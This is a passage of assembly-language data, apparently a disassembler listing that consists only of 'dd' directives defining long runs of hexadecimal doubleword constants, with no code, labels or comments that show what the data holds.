		dd 0A3D5A710h, 13E65499h, 49F8405Dh, 8BA8A1Eh, 5A92BF0Fh
		dd 6A0F60ABh, 761C9588h, 689007Ah, 45BC7DA6h, 0A4007967h
		dd 6E9CEBCBh, 1331A0h, 0BA070349h, 0AB160F5Bh, 6B892B00h
		dd 8CCD9E01h, 9D600BEAh, 0C700C182h, 5DE2690Dh,	3B294D06h
		dd 98718567h, 1A600030h, 58C23EC0h, 4900BBBCh, 0ADC443D2h
		dd 0E3296B4h, 1AA2783h,	9310D0E0h, 0B830ED7Dh, 73164040h
		dd 33CA096Eh, 9800BFE4h, 0A9946210h, 0E200247Ch, 2EA44C5Fh
		dd 601671BBh, 97E0A8DAh, 3300249Bh, 2313D956h, 6181BDFh
		dd 0A3F13630h, 6D3FD1BDh, 67C50053h, 0E3214920h, 0DAE400C8h
		dd 9009CCF7h, 4F70ED82h, 9BB8FA60h, 1AA6406h, 16806A12h
		dd 0D0DD3238h, 0EF63EADBh, 1ACD8F1h, 0F7728AF9h, 205F17BDh
		dd 6B091C66h, 0EFB64Dh,	0B9A80532h, 88D66028h, 0E50EF1B5h
		dd 0A42F550Ch, 47F9C4h,	0AAA739C5h, 0F4C693C1h,	1B264B00h
		dd 0C946EDBh, 0E7740CDFh, 9930543Fh, 85020803h,	0D0A1F0C3h
		dd 31ED0F3h, 0CE6D7807h, 281669E7h, 0D10748D6h,	61100163h
		dd 0E616B627h, 92D70011h, 4D22CC9h, 87047A9Ch, 23F9A118h
		dd 0D624ADC0h, 361A3CDFh, 0CDC18900h, 0F2FABB6Dh, 12BAF50Ch
		dd 1C452021h, 80A822D7h, 0C5E0B75Eh, 2339FAAEh,	984D80E2h
		dd 0AF83CACDh, 0F1900C44h, 78587AC8h, 0D4414965h, 0C82BD083h
		dd 521CA8h, 0F8AACA82h,	0D615B918h, 0F3447000h,	4DF0ED97h
		dd 0F9A7004Fh, 0C5F60AD8h, 85068176h, 63197787h, 60A052B1h
		dd 0E43015B2h, 71750D10h, 0FC194F80h, 7AE8DB90h, 0B6C08903h
		dd 818A488Dh, 0A1D4118Bh, 0E04B0C29h, 0B8642001h, 0FB274401h
		dd 0D410A4CCh, 604E84E8h, 0D9D3186Fh, 0FD6FCB3Ch, 0CE3BA051h
		dd 0CAF2EDDh, 0F97C865Ah, 21C09508h, 2CE3CF5h, 64BC29C2h
		dd 953B0094h, 0ECF3F299h, 0A4ACFCF3h, 0B51E1178h, 3701B4C8h
		dd 91E230Bh, 800C70BCh,	34804C06h, 48F5E8F9h, 1CB17000h
		dd 55D429B9h, 0D9B300FAh, 33B4B612h, 7700D8EDh,	81937A71h
		dd 0E88B40A2h, 0A42A00F3h, 2EFD035Eh, 322C7F0Dh, 0C900ADF1h
		dd 533F9084h, 0FC0709E1h, 3C00B0A9h, 5E25A4B3h,	2775FD00h
		dd 4BEE140Ch, 1B9C1EA3h, 3600391Ch, 8A97A215h, 0FA00B0B5h
		dd 237A04CCh, 3AD904Ah,	0F3BA0AE4h, 0D2B0E74Eh,	407AFEBh
		dd 19BED31Eh, 0D056BF20h, 44161845h, 8517F00Bh,	901DEA14h
		dd 4EC91CF4h, 0BCA1F740h, 0C207D0h, 0C1368EB2h,	77E10805h
		dd 8493E700h, 9AEE705Fh, 85581899h, 79392124h, 22787E74h
		dd 35845A0Eh, 0A98E31h,	9ED8E97Fh, 8503009Ah, 0D1E58E3h
		dd 0D500EF22h, 0B92EE2D0h, 16D959h, 33D6A002h, 2188AAACh
		dd 2D87AF00h, 0A4A88F3Dh, 725A7E4Eh, 8BA21CD7h,	0C3340098h
		dd 0BBD6C447h, 0E788216Fh, 14833A5h, 0AE832E42h, 98E882FEh
		dd 0A04C02EEh, 1A270D3h, 0FE4A9h, 0F93253FEh, 88A3DD51h
		dd 9791780Ch, 30D7B038h, 9351CDA0h, 0BE000FDCh,	44BC7B40h
		dd 0C0956A1Eh, 791182B0h, 87050CE1h, 6204E3Bh, 9D098402h
		dd 490A093h, 69C2D43h, 0A1EE9ACBh, 9D1F602Fh, 87DF745Ah
		dd 0DF6F3F00h, 37C2630h, 5B1D71A2h, 60913EBCh, 8128DDDBh
		dd 84061710h, 6308BB2h,	0FC8500A3h, 11440F1h, 0B803756Eh
		dd 81365C0Dh, 0F39DC366h, 0A7B9A85Ah, 30C7C88h,	31FB297Bh
		dd 5014178Fh, 0EE04281Ch, 0ABBD3407h, 1F94C11Eh, 0B56070C8h
		dd 8779601Dh, 40B7764Fh, 2B344FBFh, 598503F2h, 46A3EC94h
		dd 76C42811h, 0E1E7BB08h, 8C8FD708h, 2851E917h,	0C9E02284h
		dd 0E6147350h, 84ECEF44h, 0BEE28C10h, 351C7F21h, 64D04462h
		dd 0E9DF1C03h, 0C85C0974h, 3A48C02Bh, 3C0E9E06h, 1FC0A763h
		dd 6F753EB5h, 4A806907h, 5EF01638h, 3B7D7D9h, 5F707D25h
		dd 0BF88FCF9h, 511DCC52h, 0C080CBC4h, 35EBAD01h, 77370046h
		dd 3B25A265h, 0AC0042C1h, 0BF5F92E6h, 0EE4D09h,	650F1521h
		dd 0C85BA596h, 0C8A9800h, 9E71B5CEh, 0E9540002h, 92728940h
		dd 0DF03C7CBh, 67FC58AAh, 0B0E0EBAFh, 1E80DB2h,	9E260A16h
		dd 7F835032h, 3937B0h, 0D51355EBh, 0AD91A1EAh, 87749700h
		dd 0E16B1E16h, 0A77E2Bh, 99BA401Fh, 0E714D754h,	5AA27F01h
		dd 87B93783h, 1E735660h, 87C4C74Ch, 8B5065h, 0C10BF34Bh
		dd 0A1778912h, 31CE0800h, 0E505C8h, 0CC846D61h,	735E2E6Eh
		dd 9D4CF4Ch, 8093981Fh,	0EA25F4ADh, 0D35D0F6Ah,	0D4650772h
		dd 98C98045h, 0E8008911h, 0DD69E148h, 0FDD05Fh,	0B0542D9Bh
		dd 0C59523F5h, 0C93D400h, 0F9A5FA48h, 18E9006Bh, 2575097Dh
		dd 5000BE3Dh, 0FFF7FBAFh, 1F32B438h, 3A6E7F99h,	0C5801480h
		dd 0A9B5D48h, 89092700h, 1A49659Ch, 0C2E1DCBh, 0A838CF4Fh
		dd 0E98D6E80h, 0E800AEA9h, 50EA80ECh, 925FA123h, 0E7B7F80h
		dd 148A9304h, 65994080h, 0BF006DAEh, 81F91710h,	0BADD8A7h
		dd 8B4886B0h, 0EDB45280h, 0DF982E0Fh, 77161803h, 0C191CB88h
		dd 58BC5C0Ch, 55F5BA00h, 129BBD93h, 0FBCC3B00h,	1AAB0742h
		dd 269D004Ah, 4E4FCA1Fh, 28B87EFFh, 0B07FDEAh, 21E07FEFh
		dd 3F00845Ah, 0C0D299A6h, 1600171h, 31A9D111h, 5600E7D0h
		dd 0FD41A1F6h, 1D807321h, 4169E4D7h, 0F2152E26h, 6074311Ch
		dd 513BA8DAh, 679D00A1h, 4A0E3E3Fh, 0E1A70293h,	0F66AF7ACh
		dd 0A8EB240h, 32BCFD01h, 17036F65h, 77FA8D4h, 9F3AC8DAh
		dd 0B621B0C1h, 7C00748Ah, 0F578E875h, 512C7Fh, 0E05A3F8Dh
		dd 5355C106h, 1F48917Eh, 578B1B60h, 2EEDE810h, 19C00009h
		dd 0CEB38CE0h, 7900FE39h, 0B5FA2FE4h, 1540714h,	0D505C7FDh
		dd 0FC5B6269h, 164C854Fh, 0D4CD0058h, 0C83AADE0h, 3DEAFEh
		dd 0A1331BE5h, 0D2EF36C7h, 9CAAA900h, 0ED2CB778h, 0DD9D00A7h
		dd 0AE9E1B63h, 222E423Ch, 0B21E925Fh, 0ADB0D780h, 26C9A9h
		dd 0D0950F84h, 4E2342Fh, 5900C7E2h, 0C91B117Eh,	1FD8C290h
		dd 39913DDh, 2076FE6Fh,	4B08CC84h, 936E0B00h, 95348048h
		dd 0BE060E9Bh, 0AE0C5E9h, 4F1E3FB4h, 0CABC7D00h, 0AB5490B6h
		dd 9F710047h, 8223AE2Eh, 4890BD3Eh, 5325F600h, 0A8B008B8h
		dd 0A241E94h, 4E1B40B6h, 995CE08Ch, 217E9D00h, 0B756BCEh
		dd 0CD8800BFh, 0CBA9320Dh, 25007805h, 37152680h, 1D9C3B66h
		dd 0BDA4FCh, 73A53944h,	0C600FBC1h, 5DFEAA70h, 0CD093h
		dd 0FB2ABEFh, 9810DFFDh, 0C83FD200h, 0FE291ED3h, 9BAC034Bh
		dd 0DE7D41Bh, 0C3954DA0h, 5F6E9200h, 5C05249Ah,	992C01FBh
		dd 2AE5E8B6h
		dd 0E6CDE034h, 0F4CFD4FFh, 6A771F16h, 7D083C00h, 0C5EE99h
		dd 0A0041BD8h, 5F712362h, 703415Ch, 8EBAE6C3h, 0E93FA693h
		dd 80F04F48h, 84701CF8h, 0E7B44078h, 9F9AA5F4h,	25969B09h
		dd 7EDC00A2h, 0EEDF60A1h, 0D1DC1D14h, 273C7A3h,	0AE818628h
		dd 3500B3FAh, 2CEF84EEh, 0C30A94h, 750A0DDh, 0CD14C8D5h
		dd 490DCC00h, 1672A1DAh, 0A6031F6Eh, 0AF5401B7h, 801E8960h
		dd 35FDF386h, 5062A8h, 0CBE3D4EEh, 925B91F8h, 0E19D0B03h
		dd 0A1422CDBh, 9A434A34h, 6A18038Bh, 46A6FB10h,	0A15045B0h
		dd 0ED0564Ch, 601F9EA4h, 0B72561DAh, 0C131005Bh, 5DB3056Ch
		dd 80E84A0h, 0C07CEB94h, 7927852h, 96C938D1h, 0FB665580h
		dd 80A6AFAh, 7E7C287Ah,	59E26000h, 0C35F5C02h, 6DCF24F7h
		dd 41210184h, 60BC392Bh, 0E5E87754h, 0AC00D376h, 0AF2A7E0Dh
		dd 0BB6B1Bh, 0C6E95EB0h, 809E210Eh, 18B77201h, 6160F1EBh
		dd 484099ECh, 9150CC48h, 0B9F0F5E9h, 338C4852h,	0EEFF273h
		dd 27099EBEh, 0A6C1F180h, 4907E463h, 0A005DC9Ah, 7AEDA2E0h
		dd 0D6A50006h, 0E75D56B6h, 12B8B84Ah, 0C03E25EEh, 7D280123h
		dd 40F53310h, 90A0C030h, 0A19900C8h, 84CC5494h,	56005D3Ch
		dd 1ED6FDFFh, 1F732961h, 0C01C390Fh, 942E411Dh,	0F70BCD64h
		dd 0A0A68CADh, 213A0EDCh, 0BC90A7h, 41C60FC5h, 1F9C3F90h
		dd 5EE88600h, 0B46DE2B2h, 72E01ECFh, 1F40DDC9h,	342200F1h
		dd 73749DCAh, 67623500h, 81CB6F7Eh, 89BC1FEBh, 0A138093h
		dd 161C1E22h, 39A3820Eh, 0A68DE04Ch, 39072C4h, 3CC12A24h
		dd 0A09FCE98h, 0AFD94BEAh, 0F6DE5613h, 0D5060840h, 340D0EFh
		dd 0C79CACAAh, 868895EBh, 9313101Eh, 6809FE49h,	421401BFh
		dd 83CCF4FDh, 0F56006Ch, 4563149Eh, 2000B58Ah, 0E5F909E1h
		dd 0FDD782h, 0BF83F4E3h, 0C1EF54F5h, 0BA6B3E00h, 3FB8E8B0h
		dd 33870902h, 948330DEh, 0D4C8C1DDh, 571DE0CCh,	0E07327Eh
		dd 0FD108672h, 69EA1D8h, 11F52676h, 0BF0AB8A9h,	0B41E602Dh
		dd 8A850400h, 3F62E68Ch, 0FC007DBAh, 0F4B86516h, 0FE073FB7h
		dd 0A7A08BF3h, 5826C340h, 0BF73ACh, 72464E61h, 0FEBD2941h
		dd 8C9DB924h, 1C01D216h, 0ABF3A997h, 7579F8h, 86030E7h
		dd 65CC2705h, 78B10100h, 24B0C0C3h, 84D6009Eh, 231E83E7h
		dd 0CF005974h, 9F36AC85h, 6601A0h, 0D43F6F91h, 64CD0E2Ah
		dd 15D55003h, 98C3DB61h, 28E40Ch, 7EDA23E6h, 0A58EFC89h
		dd 1759353Bh, 0DC1FF676h, 64C90705h, 5C200C0h, 240C00BFh
		dd 12336F66h, 0AA00BEE4h, 0B7EC0F08h, 67E63Bh, 0E29F29F9h
		dd 94E9A1DDh, 3F499E39h, 8A6680DEh, 3DD3331Eh, 1B6100A7h
		dd 0EBEE5811h, 63584F17h, 0C5B444B6h, 0A3DC48h,	0F035193h
		dd 17C8D59h, 92E6AD2Dh,	4022CA2Bh, 0E1309178h, 67C18800h
		dd 0B693C70Ah, 0B3EE0025h, 9B1C5478h, 727A0B01h, 0C1BD900h
		dd 0B4DE2ACCh, 58616002h, 2D8AC0E6h, 11828FA0h,	7901201Eh
		dd 3DC2AB00h, 0F2EFC4Ch, 0A3792E1h, 8694ACA0h, 0FDEC9E45h
		dd 0C750D57Dh, 2400469Ch, 0E31F9021h, 10EDC3E8h, 7F58F637h
		dd 6000E4FAh, 287291ECh, 7A983Ah, 2E8DF51Fh, 0E7A3BA3Bh
		dd 6D56CF00h, 95FE2087h, 50ED00B3h, 0FF11CE1Ch,	0A87DD8D5h
		dd 8600C1ECh, 0EF7ECDF0h, 3CC653EBh, 2EFB89A7h,	89B04B3Eh
		dd 0D40E8C27h, 3F99DE80h, 0AB0115ADh, 0A2804B77h, 24BFEE39h
		dd 0CCECED87h, 0AD6820A3h, 6B7746C4h, 0A9BAB300h, 48B04986h
		dd 608D00AEh, 8125E856h, 0D0A0AA1Eh, 351FC9FDh,	1880EFD3h
		dd 51A38DCEh, 0DF6F0285h, 0FC27246Bh, 1D460CC0h, 4BA5805h
		dd 17C0371Ch, 0C4E640h,	42828CE7h, 183B2014h, 4C0C6B8h
		dd 6630B388h, 8D69009Ch, 71D58911h, 254CC4FAh, 0C9267815h
		dd 5C00748Bh, 7AB99387h, 1363002Bh, 0DAA359AEh,	0ED00E917h
		dd 4BB03892h, 0DC6C87h,	552AF828h, 0D026A283h, 4095DF00h
		dd 6C158CBCh, 109D3F34h, 309B988Eh, 0EB8B809Dh,	7FFE51CAh
		dd 0CF2BA300h, 0BDA5806Bh, 937D0047h, 0BB9BCD62h, 85078BACh
		dd 0A692D272h, 9FF0A7B0h, 96BF0157h, 3AD4D777h,	39C80FAh
		dd 1ECC7F55h, 0C4AA0078h, 18228A98h, 0D90738F3h, 0DB8D85C8h
		dd 5A301410h, 739C0021h, 65C6824Eh, 3900694Bh, 0CDA8DF20h
		dd 980960h, 51A5558Eh, 6774F823h, 0B2588001h, 610C9DFAh
		dd 50C4FFD0h, 0FF539410h, 0B380E872h, 7BDD7D73h, 140AC800h
		dd 4EC76B74h, 5AC500B1h, 0A67387D5h, 4B00B335h,	0EBE4BEDCh
		dd 0A710F0h, 79D465DEh,	0CFE69834h, 0BB2B2F00h,	0A68BB5D1h
		dd 5F711Eh, 5C42ECB9h, 0AA7BD97Fh, 250F58h, 0FBF42BE0h
		dd 3E44F927h, 7A80C269h, 0E54738C4h, 8F00F0CFh,	9AE855EDh
		dd 8DC376h, 0E7243EB6h,	0A89079BBh, 408B9D33h, 8543B84Ah
		dd 0F086F269h, 1B3E014Bh, 0BAA998A7h, 1F23D459h, 79501603h
		dd 0C0B4AF57h, 0CC9C41Bh, 18F58377h, 973B7439h,	8AB981F0h
		dd 0C4FE540Bh, 7286D60h, 7C4F83E4h, 0F7E300ACh,	9C3D6F59h
		dd 160075B6h, 0D0713E3Fh, 3087DAh, 0F9B30A5Bh, 2131A78Ah
		dd 75001E75h, 1F6543B2h, 0EB797BC3h, 0AE924C0h,	5487CFDh
		dd 71803BC5h, 4CD7F88Fh, 0C800B057h, 0E823099Dh, 8BC1FAh
		dd 0D36DB5BEh, 0DDB62573h, 0B9A06900h, 72B8A179h, 64CF0030h
		dd 0CD46170h, 0AA0098A2h, 77BC3F52h, 1E41DA7Fh,	0C9A98092h
		dd 0CD00E4E7h, 19122143h, 0CBE2A800h, 6C1B7B5Ch, 0C97700F0h
		dd 0B4CAD03h, 0DD002227h, 9994E4Bh, 783536h, 18CE043Dh
		dd 1C30775Ah, 8037113Ah, 79DC00Dh, 34170EAh, 0B86108A1h
		dd 1000E9BCh, 0CD2F047h, 1F6042Dh, 0F9D060A9h, 0DCE4C39Ah
		dd 0E700C95Dh, 0C78136D6h, 28B41665h, 7C9D31B8h, 11AF05D0h
		dd 0C59B1396h, 0BC44004Fh, 0D77B77B5h, 0C8D3D80Ch, 1337197Ah
		dd 4E8B58h, 0F1AF25A2h,	0B400336Bh, 4F561A14h, 1DDD38h
		dd 0E851F9C1h, 0E2C942A3h, 750F203Ch, 0ECC3B00Fh, 7DB9C1BEh
		dd 0AAEC414Dh, 8780002Eh, 5A7C3EFDh, 8D1FE3AEh,	0F4408BC2h
		dd 94B26570h, 804460BFh, 9EB4CF9h, 0C3D74000h, 0A7062BB0h
		dd 0E1BB0742h, 0B00AA008h, 9ACA5EA5h, 0A200DE98h, 6B604CB8h
		dd 3D74BA9Dh, 0C80335Bh, 0D7D4422Fh, 10007A6Dh,	6063B241h
		dd 70E78Eh, 42F97487h, 0B85C8DA4h, 0F552F10Eh, 9AFDCA41h
		dd 8780091Dh, 42FBC5D5h, 0D8500985h, 0F88063F7h, 0F547C755h
		dd 0B9EDBE00h, 3C259AE9h, 260907CCh, 0B02487E0h, 0D32C41AEh
		dd 0E37D0805h, 2EC0D010h, 12E1C7h, 97FC607Ch, 0DC357321h
		dd 94026770h, 1C3AE03Fh, 3BF0407Dh, 3CCFE811h, 72800F3Eh
		dd 0C4D1C67Ah, 6628CAF7h, 9B00AC71h, 485DD52Ch,	0B29FBBh
		dd 3EFE97A1h, 0ECE8DF42h, 443D0707h, 399051F5h,	0E9DD7Eh
		dd 342D3FAEh, 0F04FF402h, 27D3FB03h, 0E8803868h, 155357Bh
		dd 8C081C82h, 0F019B988h, 6107CE2Dh, 1A7A7616h,	26BED260h
		dd 0ED90FAh, 83ADF768h,	47F2B3AAh, 69B8A400h, 0F80D02B5h
		dd 34A8C672h, 0AD00741Fh, 0ACA69A67h, 309B38E8h, 1E2070ABh
		dd 0BA3F2D47h, 61F00040h, 6A2A62CEh, 1367A39h, 0FBABBB06h
		dd 0CC0A2473h, 6D0088E5h, 5CCA6631h, 77575Ah, 82CDF71Eh
		dd 3040E1B3h, 1A270901h, 0B8A93D4Fh, 3BDF9C30h,	38818ED2h
		dd 4853CA5Dh, 60AEFC0Fh, 6E622801h, 428E9722h, 679C086h
		dd 330639A2h, 262BAD60h, 14357408h, 2C394F16h, 1CCE2114h
		dd 48BF0301h, 0D057629Ch
		dd 4360F639h, 0DBFFEC18h, 1231ED55h, 6E083D5h, 0F57D019Eh
		dd 0F7B58C3h, 0F45180A6h, 0D350B046h, 4C03F617h, 0E004FBCh
		dd 6893B776h, 0C600A4CAh, 0D270FC43h, 207850Ah,	37289EAEh
		dd 24850E4Fh, 3684021h,	609C4BF7h, 622508C0h, 50752818h
		dd 4238788Dh, 31020A9h,	16FEF686h, 6ED858A2h, 4E3BA148h
		dd 0E7BD00FCh, 72D2F856h, 0D0C8609Eh, 5ACA9679h, 4CBE8E1Eh
		dd 7C392B40h, 0B3FA33h,	7964879Ah, 97272820h, 82FF1000h
		dd 735450E7h, 0D9C139A9h, 471AEF00h, 88570ACh, 0A6465301h
		dd 5DEB721Ch, 782D30h, 5717D8C1h, 0A324CB09h, 1FEFAD00h
		dd 0CE5548B3h, 0C4870095h, 649F4121h, 6B005E76h, 0AEDBB1Eh
		dd 2F98CCh, 0BFBAE110h,	6DD11D36h, 56B1C0F9h, 90F94E04h
		dd 8D0D66Fh, 3DC458h, 0AC1E71CFh, 0AECE39A8h, 0FA6060E8h
		dd 3D7C0220h, 70CD0E41h, 360B26Ch, 8312D70Ch, 153CF100h
		dd 71564482h, 0A1F71FABh, 23250511h, 0C3108739h, 4864CCB4h
		dd 37619378h, 76C2303Dh, 13CAF57h, 5E3D73F5h, 32D8D916h
		dd 0B00F397Fh, 0E44CA20Ch, 78002340h, 8CF915A1h, 30086C8Eh
		dd 28110AD4h, 2C0EF507h, 66BBE58Dh, 85585h, 8CF66CFEh
		dd 0CEF59EFAh, 0E60AD700h, 761B461Eh, 2EB600BFh, 988D7EDFh
		dd 2D007224h, 0AFEF16Fh, 4EB79FCAh, 19B7C05Fh, 7501D47Dh
		dd 5AF6E33Ah, 58877BF3h, 706DF508h, 600BDCBFh, 0DB940C18h
		dd 0C7F7CC08h, 50F4BB20h, 2BAC8209h, 0A5029E03h, 1A34EC9h
		dd 0F1119360h, 0FB19551Eh, 812EF4C0h, 1FFA4290h, 66C35B1Ch
		dd 0ABC2471Eh, 0C1DE0FB4h, 0A0D0B23Ch, 0F6F0B55Ch, 0CC7C3500h
		dd 0DF024B10h, 930FA6Dh, 742882C1h, 0B089B187h,	0A99DA6CAh
		dd 0D68C2300h, 2B88054Eh, 578B0004h, 9892B97Ch,	0B600CFEDh
		dd 0FC7BECB4h, 3CBF704Dh, 9ECCDF6Dh, 1A97D800h,	8B95B2C7h
		dd 284EFE00h, 0E0993190h, 50E41FB8h, 8CA6809Ch,	0F9DE0155h
		dd 9B095B0Fh, 260F9254h, 5C1C92B6h, 0A6FE1200h,	1F489A4h
		dd 94FADE62h, 0E358B26Ah, 0FE137BE0h, 5F334100h, 0FD1CB9E9h
		dd 605E3194h, 8103F620h, 9BD6EC40h, 518F434Eh, 0BC20C596h
		dd 1FB77467h, 8C35331h,	20BCD717h, 0C7D64A80h, 0F3B8CEFCh
		dd 5F5548C1h, 1BE00A18h, 801E4AB4h, 426D32C6h, 74DA3106h
		dd 30909B0Eh, 0F669F8D9h, 3E03A863h, 3F5F5635h,	2557A1FCh
		dd 0C00C09D0h, 33809620h, 37006B81h, 7CCB1660h,	148A9B01h
		dd 842D4DC7h, 1B72C861h, 1ED180FFh, 634C4156h, 17620CE5h
		dd 508BD96h, 0B520F960h, 6844070h, 7A363C47h, 1306122Bh
		dd 17069143h, 0D3AE00A8h, 0C0546D76h, 0C50018B7h, 0FE32104h
		dd 0E82BB644h, 0E19100BAh, 0F0CC1C31h, 3200B258h, 871543Eh
		dd 0CAEA76h, 9064D66Bh,	0A0EB66Ch, 679DD703h, 88964104h
		dd 73F04Ah, 0BC1297B7h,	0C01FEA71h, 323193Eh, 4E0811E2h
		dd 557E001Dh, 7AB1E358h, 0AF001760h, 0C14D21CBh, 0A3FFB5h
		dd 669D7701h, 65186C6Ah, 8EA12A00h, 40630C9Fh, 247A02A0h
		dd 743981F7h, 0FDDE00DFh, 1DB62611h, 83EBF190h,	0BB627850h
		dd 7EB39FC8h, 8F8C4400h, 9816999Eh, 0A6131CE4h,	42F100BFh
		dd 0EB0CA7B5h, 6A9CB400h, 85FC81BAh, 9B8C18F3h,	709E0879h
		dd 59769713h, 0BB5E7D00h, 2375D3h, 0DD5A1A2h, 0F8F00731h
		dd 0F3997000h, 354C89B0h, 25B90386h, 98610597h,	21204861h
		dd 28BC9FA4h, 56723E00h, 3812392Ah, 4543080Eh, 81EB8C36h
		dd 567A1EF4h, 71E800Ch,	195FCCC4h, 0B432E700h, 9E030591h
		dd 23F20092h, 0DAB183DFh, 6E18946Ah, 2078339Dh,	0DDD7303Fh
		dd 76D82E18h, 0F4A9900h, 594984Dh, 91D90054h, 0CBB22DDBh
		dd 0A00973Ch, 0DFF786F9h, 0F10BA8D1h, 18738FCh,	7A2AB2D3h
		dd 0E3B43F55h, 0F1B83C00h, 24437BF0h, 0F47ECB6h, 924E27BEh
		dd 0D0FF0341h, 46CD40C8h, 9D001E2Ah, 0B7B1756Eh, 0B013F8E1h
		dd 9A60027Eh, 0FA3ACD9Bh, 27F610E0h, 3B5CA919h,	0F9D04410h
		dd 0F342407Fh, 0EE2E9000h, 0B1A46C1Fh, 7DA2A0CEh, 10A8002Ah
		dd 4270EAF9h, 78311B1Ah, 0B6882925h, 11344811h,	3E1175BEh
		dd 10AC1261h, 92895052h, 63457D08h, 9D8820F2h, 1D72C271h
		dd 40DE300h, 2C178DD2h,	0D5DD3D14h, 96433A00h, 0C3670123h
		dd 0BA00B5FEh, 5FFC739Fh, 908BC4h, 0D69EE14Dh, 61071376h
		dd 3F7713Eh, 8AE2374Bh,	0A3C8C099h, 81313F44h, 0E27E826h
		dd 39201963h, 0C6860A6Eh, 0D4CF8803h, 0BD15405Ch, 26CAE200h
		dd 0DE68FEh, 0BDE2C932h, 0D980ED43h, 5E3A0307h,	4C00F1FFh
		dd 0F08E98EFh, 0B42400FEh, 30CDE723h, 0B5541152h, 0D007BC0h
		dd 0B8134D63h, 0BF845Eh, 7278C6DEh, 2BF0E820h, 0B53F3A01h
		dd 18B15BA3h, 391AF7C0h, 0AD0029DAh, 0AE82BD91h, 0DB0083E8h
		dd 0B9594619h, 2841A4FFh, 0F038AAh, 719CA537h, 9695E01h
		dd 0D8ED6104h, 0DC333A6h, 24D9B12Fh, 1958E8h, 0E6276B42h
		dd 39C99607h, 5BD06A03h, 0F909F57Fh, 84E80B5Ah,	0E82E003Fh
		dd 642B76DBh, 7B00B1DEh, 5D315E7h, 15B61B7h, 35627A14h
		dd 0E0A16F8Dh, 733BEF18h, 21E40011h, 50890D67h,	1E980199h
		dd 1244234Eh, 0B910DCDCh, 3807500h, 1A5A51F1h, 466100E9h
		dd 0D06989F9h, 3F007B66h, 0FEAA2B29h, 909902AEh, 53F092h
		dd 590F58EFh, 7386C793h, 1C9F3E00h, 6C1BDEEBh, 7B6B1C6Fh
		dd 5FA9C0C6h, 71B961F4h, 2977910Eh, 4AD5C098h, 2EC976A7h
		dd 989457h, 0DD70D141h,	100F3DFh, 393EA633h, 0ED48FBh
		dd 14BF5D06h, 0B1AA8A37h, 0EB364700h, 0A4F34FF4h, 0B6E434h
		dd 6A8963C4h, 0EC408F79h, 609B7100h, 0EDB8432Ah, 0B1FD00CCh
		dd 0FE7332B3h, 99050FC4h, 5341C9BFh, 1C83C8C0h,	773B00EEh
		dd 0E1B305BBh, 0E400D2C4h, 0BD9E7D92h, 0D384D8h, 425298A5h
		dd 0BF9C5BF5h, 6658F300h, 0CD683346h, 6DBD00B1h, 2E01A70Ch
		dd 0A800CB4Ah, 4C626B64h, 0A195595Ah, 9E609DB8h, 0D0B300EEh
		dd 67DB1329h, 1100C9CBh, 72E6DE84h, 26C395h, 0C6634A9h
		dd 4C212FAEh, 131B5000h, 97564687h, 73B4A047h, 94390030h
		dd 0DDA8AE96h, 0DA13D55Eh, 0A80002F1h, 1FC8AB95h, 98FD0020h
		dd 96C1B468h, 0A3090C7Bh, 0F16154h, 94BA09B0h, 727400B2h
		dd 131E8A57h, 70FB5BCh,	60EDC22Fh, 0B052E819h, 0D24B063Dh
		dd 18DDD4FBh, 0E991607h, 0AD50E7C4h, 18051078h,	217581C3h
		dd 631F193Dh, 22C05FA7h, 0CEDCCBF8h, 2B5A1CE2h,	8217DFF4h
		dd 7E25C1F5h, 9B100B40h, 1B9E6602h, 0C0A19959h,	772F482h
		dd 37708DACh, 1492303Ah, 4AE42A5Dh, 97DED205h, 4FC0760Fh
		dd 0E66DC8DBh, 0AFC5052Ch, 805944CEh, 51B9150Bh, 0A13C6798h
		dd 8900F727h, 1E47D379h, 4C1A31h, 23BB5611h, 0EF1F577Eh
		dd 26538E00h, 0EA280935h, 76EEAEEh, 8F6B194h, 76AF90C4h
		dd 0E0EC7A6h, 0C04A6DB6h, 0DC0C3E96h, 0CCE0004Ch, 0DA5D287Eh
		dd 8E007F9Bh, 0A3D46378h, 0E83B91E7h, 0D50E0060h, 0C623B6DBh
		dd 4570A264h, 0BE992D00h, 69D3015h, 0CE593E82h,	561292h
		dd 4AD9C930h, 0A300D852h, 0C30D639Fh, 9592F801h, 0FC03D250h
		dd 98506C6Fh, 10C19C12h, 0D8FC8A0Eh, 6BCE0E89h,	0C44117F9h
		dd 0E8BCFD55h, 5006207h, 1CAE7B0h, 1D6AD61Ch, 0C178C2E4h
		dd 0F88C0353h, 181080D9h, 0FBC0CA8Bh, 0FF49086h, 554BB046h
		dd 802F3F30h, 0A0F34003h, 60E982AFh, 386918C5h,	2212A8DCh
		dd 130075B5h, 4FE3CA70h
		dd 46EC00FDh, 83B60F01h, 0F900DA56h, 4A92DCA6h,	0FCA5BA38h
		dd 0C17B3E25h, 0A88E8D96h, 95320052h, 0C662FBD0h, 0BC0F010Ah
		dd 9378C70Ch, 1C923001h, 0ADD69C3Fh, 0C37C60E3h, 0F9D7007Ch
		dd 7ADAF27h, 0AB006386h, 0C43564BBh, 0A7A38Fh, 299A91F1h
		dd 0E48665C9h, 55DD3000h, 69B2262Fh, 7D5E7737h,	125D0F9Eh
		dd 0E7A19957h, 0D03948A0h, 0F000AAFDh, 4F8DA373h, 0D12DCEh
		dd 7C066661h, 5FE936F4h, 0E8A88200h, 44AC0798h,	0F18700DBh
		dd 50D8396Ch, 0A200358Fh, 33E2ED65h, 713CCC2h, 0EF835A1Ah
		dd 4459C3A1h, 0F0F742D0h, 0BEB01D00h, 45C9FD6h,	0BFDC0756h
		dd 8065D8F2h, 6F27D77Ah, 509C7800h, 0D5084B36h,	9257017Fh
		dd 0CC467464h, 6773DC1Eh, 867A9E0Fh, 9558C0FBh,	2F16B9h
		dd 51960B62h, 0E872BBB8h, 0E31FCC7Eh, 3C0281Bh,	7FF0AE21h
		dd 5DE73184h, 0FCA78018h, 9100CB48h, 97E19F07h,	0D9C4E8h
		dd 43C7FD08h, 0E3901870h, 6839B500h, 41455123h,	0A892B6h
		dd 0E28C491Eh, 0DDEE1F50h, 0C683940Fh, 0C7A920E7h, 79BCFFCCh
		dd 0C37473h, 8D9A221Eh,	84F8EE38h, 37B67A00h, 0F5B08639h
		dd 3DD91F17h, 0EC10F066h, 7C00CCB5h, 0A9F9435Ch, 41A0B4h
		dd 402227Fh, 0BBAE4442h, 92C04Ch, 583EF9C2h, 63B247h, 4C60E7C5h
		dd 38E2D7BFh, 37CD1F00h, 0B04AAD85h, 0AAFC002Ah, 0EE099DE1h
		dd 290013C7h, 80A22252h, 0B0507F7Dh, 789CFC48h,	6DAE178Eh
